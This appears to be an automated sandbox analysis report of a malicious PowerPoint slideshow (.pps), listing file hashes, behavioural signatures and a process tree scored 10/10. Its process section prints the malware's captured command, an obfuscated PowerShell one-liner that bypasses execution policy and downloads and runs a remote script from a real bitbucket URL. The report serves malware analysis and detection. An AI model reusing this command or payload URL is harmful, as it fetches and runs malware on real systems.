Resubmissions

30-09-2022 23:49

220930-3vf8jsfbd3 10

30-09-2022 23:05

220930-23cdwsgahq 10

Analysis

  • max time kernel
    37s
  • max time network
    41s
  • platform
    windows7_x64
  • resource
    win7-20220812-en
  • resource tags

    arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system
  • submitted
    30-09-2022 23:05

General

  • Target

    ae4932402776b79b18dac096d0afdcc986f7bef1459bfb9bb5675f2b074d8e04.pps

  • Size

    102KB

  • MD5

    b47c0f0957935cfc3c27337b8f117d75

  • SHA1

    1228ae88cfc7a2a80506cd2e4fb14f22a5f8d76c

  • SHA256

    ae4932402776b79b18dac096d0afdcc986f7bef1459bfb9bb5675f2b074d8e04

  • SHA512

    208edf3bf8dfb38d738a86db7a240c0ad985ed14b8f58435bcd945d4ca7904469c60bdcb3fb53f91d9f8d91d47c68b5ef26941b44cdb986959cc9e59e907e50e

  • SSDEEP

    768:kf9BcTRDkSIOd0Xg4JbvsyEVK3/L1U82cY3/A5jEcjo:kutY1OmvsyEVKvL1U0WA5js

Score
10/10

Malware Config

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Modifies Internet Explorer settings 1 TTPs 9 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE" /s "C:\Users\Admin\AppData\Local\Temp\ae4932402776b79b18dac096d0afdcc986f7bef1459bfb9bb5675f2b074d8e04.pps"
    1⤵
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1348
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:604
      • C:\Windows\SysWOW64\cmd.exe
        cmd /c start /min PowerShell -ex Bypass -nOp -w 1 ;i'E'x(iwr('https://bitbucket.org/!api/2.0/snippets/tinypro/LM4xGp/ed8727ba02924677655de204f9422df557005d3f/files/blessed-final.txt') -useB); Start-Sleep -Seconds 20
        2⤵
        • Process spawned unexpected child process
        • Suspicious use of WriteProcessMemory
        PID:964
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          PowerShell -ex Bypass -nOp -w 1 ;i'E'x(iwr('https://bitbucket.org/!api/2.0/snippets/tinypro/LM4xGp/ed8727ba02924677655de204f9422df557005d3f/files/blessed-final.txt') -useB); Start-Sleep -Seconds 20
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:972

    Network

    MITRE ATT&CK Enterprise v6

    Replay Monitor

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    Downloads

    • memory/604-57-0x0000000000000000-mapping.dmp

    • memory/604-59-0x000007FEFBAE1000-0x000007FEFBAE3000-memory.dmp

      Filesize

      8KB

    • memory/964-61-0x0000000000000000-mapping.dmp

    • memory/972-64-0x000000006B1C0000-0x000000006B76B000-memory.dmp

      Filesize

      5.7MB

    • memory/972-62-0x0000000000000000-mapping.dmp

    • memory/972-67-0x000000006B1C0000-0x000000006B76B000-memory.dmp

      Filesize

      5.7MB

    • memory/972-68-0x000000006B1C0000-0x000000006B76B000-memory.dmp

      Filesize

      5.7MB

    • memory/1348-58-0x0000000074F41000-0x0000000074F43000-memory.dmp

      Filesize

      8KB

    • memory/1348-56-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/1348-60-0x00000000722BD000-0x00000000722C8000-memory.dmp

      Filesize

      44KB

    • memory/1348-55-0x00000000712D1000-0x00000000712D3000-memory.dmp

      Filesize

      8KB

    • memory/1348-54-0x00000000742A1000-0x00000000742A5000-memory.dmp

      Filesize

      16KB

    • memory/1348-65-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/1348-66-0x00000000722BD000-0x00000000722C8000-memory.dmp

      Filesize

      44KB